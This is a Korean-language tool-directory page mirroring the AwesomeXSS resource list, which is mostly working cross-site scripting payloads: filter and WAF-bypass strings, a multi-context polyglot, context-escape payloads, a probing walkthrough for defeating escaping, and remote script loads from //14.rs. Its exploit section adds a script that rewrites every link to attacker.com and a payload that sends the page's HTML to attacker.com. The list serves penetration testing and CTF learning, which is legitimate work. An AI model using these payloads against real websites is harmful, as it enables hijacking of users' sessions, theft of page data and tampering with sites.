Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
AwesomeXSS — 멋진 XSS 자료 | Kitploit
도구/GitHubGitHub/s0md3v/awesomexss
Payload GenerationWAF BypassWeb SecurityCTFPapers & ResearchLearning & EducationCurated ResourcesLearning Paths & CoursesLabs & Practice
GitHubs0md3v/awesomexss

AwesomeXSS

멋진 XSS 자료

저장소 보기
5.1k7821년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

AwesomeXSS

이 저장소는 Awesome XSS 리소스 모음입니다. 기여는 언제나 환영하며, 이슈(issue)를 통해 제출해 주시기 바랍니다.

Awesome 목차

  • 챌린지
  • 읽을거리 & 발표
  • 도구
  • 마인드맵
  • DOM XSS
  • 페이로드
  • 폴리글롯
  • 태그 및 이벤트 핸들러
  • 컨텍스트 탈출
    • HTML 컨텍스트
    • 속성 컨텍스트
    • JavaScript 컨텍스트
  • Confirm 변형
  • 익스플로잇
  • 탐색
  • 우회
  • 인코딩
  • 팁 & 요령

Awesome 챌린지

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Awesome 읽을거리 & 발표

  • XSS 탐지 메커니즘 우회
  • PNG 콘텐츠 유형을 통한 Facebook XSS
  • 내가 네 여자친구를 만난 방법
  • 한 시간 안에 1,352개의 Wordpress XSS 플러그인 취약점을 찾는 방법
  • 블라인드 XSS
  • Copy Pest

Awesome 도구

  • XSStrike
  • BeEF
  • JShell

Awesome XSS 마인드맵

Jack Masa가 만든 아름다운 XSS 마인드맵, 여기

Awesome DOM XSS

  • 입력값이 싱크(sink)로 들어가나요? Vulnerable
  • 그렇지 않나요? Not vulnerable

Source: 외부(신뢰할 수 없는) 소스에 의해 제어될 수 있는 입력값.

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: 취약점으로 이어질 수 있는 잠재적으로 위험한 메서드. 이 경우에는 DOM 기반 XSS입니다.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

이 포괄적인 싱크 및 소스 목록은 domxsswiki에서 가져온 것입니다.

Awesome 페이로드

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome 폴리글롯

다음은 20개 이상의 컨텍스트를 빠져나갈 수 있도록 제가 만든 XSS 폴리글롯입니다:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

작동 방식에 대한 설명은 여기

Awesome 태그 및 이벤트 핸들러

  • 설명이 포함된 이벤트 핸들러 105개
  • 설명이 없는 이벤트 핸들러 200개

탐지가 잘 되지 않는 일부 이벤트 핸들러

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

사용하게 될 일부 HTML 태그

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome 컨텍스트 탈출

HTML 컨텍스트

사례: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

속성 컨텍스트

사례: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript 컨텍스트

사례: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm 변형

네, confirm입니다. alert은 너무 흔하니까요.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome 익스플로잇

모든 링크 교체
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
소스 코드 탈취기
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome 탐색

이 중 아무것도 작동하지 않으면 Awesome 우회 섹션을 살펴보세요.

우선 d3v 같은 악성이 아닌 문자열을 입력하고 소스 코드를 확인해 반영(reflection)의 개수와 컨텍스트를 파악하세요.
이제 속성 컨텍스트의 경우 x"d3v를 입력해 큰따옴표(")가 필터링되는지 확인하세요. x&quot;d3v로 변경된다면 출력이 제대로 이스케이프되고 있을 가능성이 높습니다. 그렇다면 x'd3v를 입력해 작은따옴표(')에도 동일한 테스트를 해보세요. x&apos;로 변경된다면 난감한 상황입니다. 시도해볼 수 있는 것은 인코딩뿐입니다.
따옴표가 필터링되지 않는다면 Awesome 컨텍스트 탈출 섹션의 페이로드를 그냥 시도해보면 됩니다.
JavaScript 컨텍스트의 경우 어떤 따옴표가 사용되는지 확인하세요. 예를 들어 다음과 같이 사용한다면

root@kitploit:~
variable = 'value' or variable = "value"

이제 작은따옴표(')를 사용한다고 가정해보겠습니다. 그 경우 x'd3v를 입력하세요. x\'d3v로 변경된다면 탐색 문자열에 백슬래시()를 추가해 백슬래시를 이스케이프해보세요. 즉 x\'d3v처럼 말입니다. 작동한다면 다음 페이로드를 사용하세요:

root@kitploit:~
\'-alert()//

하지만 x\\\'d3v로 변경된다면, 시도해볼 수 있는 유일한 방법은 script 태그 자체를 닫는 것입니다:

root@kitploit:~
</script><svg onload=alert()>

단순 HTML 컨텍스트의 경우 탐색 문자열은 x<d3v입니다. x&gt;d3v로 변경된다면 제대로 된 삭제(sanitization)가 적용되고 있는 것입니다. 그대로 반영된다면 더미 태그를 입력해 잠재적인 필터를 확인할 수 있습니다. 제가 즐겨 사용하는 더미 태그는 x<xxx>입니다. 어떤 방식으로든 제거되거나 변경된다면, 필터가 <와 >의 쌍을 찾고 있다는 뜻입니다. 다음과 같이 간단히 우회할 수 있습니다:

root@kitploit:~
<svg onload=alert()//

또는 이렇게 (모든 경우에 작동하지는 않습니다)

root@kitploit:~
<svg onload=alert()

더미 태그가 소스 코드에 그대로 남는다면 다음 페이로드 중 하나를 사용하세요:

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome 우회

참고: 이 페이로드 중 어느 것도 작은따옴표(')나 큰따옴표(")를 사용하지 않습니다.

  • 이벤트 핸들러 없이
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • 공백 없이
root@kitploit:~
<svg/onload=confirm()>

  • 슬래시(/) 없이
root@kitploit:~
<svg onload=confirm()>

  • 등호(=) 없이
root@kitploit:~
<script>confirm()</script>
  • 닫는 꺾쇠괄호(>) 없이
root@kitploit:~
<svg onload=confirm()//
  • alert, confirm, prompt 없이
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • 유효한 HTML 태그 없이
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • 태그 블랙리스트 우회
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Awesome 인코딩

Awesome 팁 & 요령

  • http(s)://는 // 또는 /\\ 또는 \\로 줄일 수 있습니다.
  • document.cookie는 cookie로 줄일 수 있습니다. 이는 다른 DOM 객체에도 동일하게 적용됩니다.
  • alert 및 기타 팝업 함수는 값을 필요로 하지 않습니다. 그러니 alert('XSS')처럼 하지 말고 alert()을 사용하세요.
  • 태그를 닫을 때 > 대신 //를 사용할 수 있습니다.
  • confirm이 가장 탐지가 덜 되는 팝업 함수라는 것을 발견했습니다. 그러니 alert 사용을 중단하세요.
  • 속성 값에 공백이 포함되어 있지 않다면 따옴표는 필요하지 않습니다. <script src="//14.rs"> 대신 <script src=//14.rs>를 사용할 수 있습니다.

Awesome 크레딧

별도로 명시되지 않은 모든 페이로드는 제가 직접 만든 것입니다.

도구 다운로드
HTML문자숫자설명HexCSS (ISO)JS (Octal)URL
&quot;"&#34;따옴표u+0022\0022\42%22
&num;#&#35;숫자 기호u+0023\0023\43%23
&dollar;$&#36;달러 기호u+0024\0024\44%24
&percnt;%&#37;퍼센트 기호u+0025\0025\45%25
&amp;&&#38;앰퍼샌드u+0026\0026\46%26
&apos;'&#39;아포스트로피u+0027\0027\47%27
&lpar;(&#40;왼쪽 괄호u+0028\0028\50%28
&rpar;)&#41;오른쪽 괄호u+0029\0029\51%29
&ast;*&#42;별표u+002A\002a\52%2A
&plus;+&#43;더하기 기호u+002B\002b\53%2B
&comma;,&#44;쉼표u+002C\002c\54%2C
&minus;-&#45;하이픈-마이너스u+002D\002d\55%2D
&period;.&#46;마침표; 온점u+002E\002e\56%2E
&sol;/&#47;슬래시; 빗금u+002F\002f\57%2F
&colon;:&#58;콜론u+003A\003a\72%3A
&semi;;&#59;세미콜론u+003B\003b\73%3B
&lt;<&#60;보다 작음u+003C\003c\74%3C
&equals;=&#61;등호u+003D\003d\75%3D
&gt;>&#62;보다 큼 기호u+003E\003e\76%3E
&quest;?&#63;물음표u+003F\003f\77%3F
&commat;@&#64;골뱅이표; 상업용 at 기호u+0040\0040\100%40
&lsqb;[&#91;왼쪽 대괄호u+005B\005b\133%5B
&bsol;\&#92;백슬래시u+005C\005c\134%5C
&rsqb;]&#93;오른쪽 대괄호u+005D\005d\135%5D
&Hat;^&#94;곡절 악센트u+005E\005e\136%5E
&lowbar;_&#95;밑줄u+005F\005f\137%5F
&grave;`&#96;억음 악센트u+0060\0060\u0060%60
&lcub;{&#123;왼쪽 중괄호u+007b\007b\173%7b
&verbar;|&#124;세로 막대u+007c\007c\174%7c
&rcub;}&#125;오른쪽 중괄호u+007d\007d\175%7d
  • 가장 짧은 HTML 컨텍스트 XSS 페이로드는 <script src=//14.rs> (19자)입니다.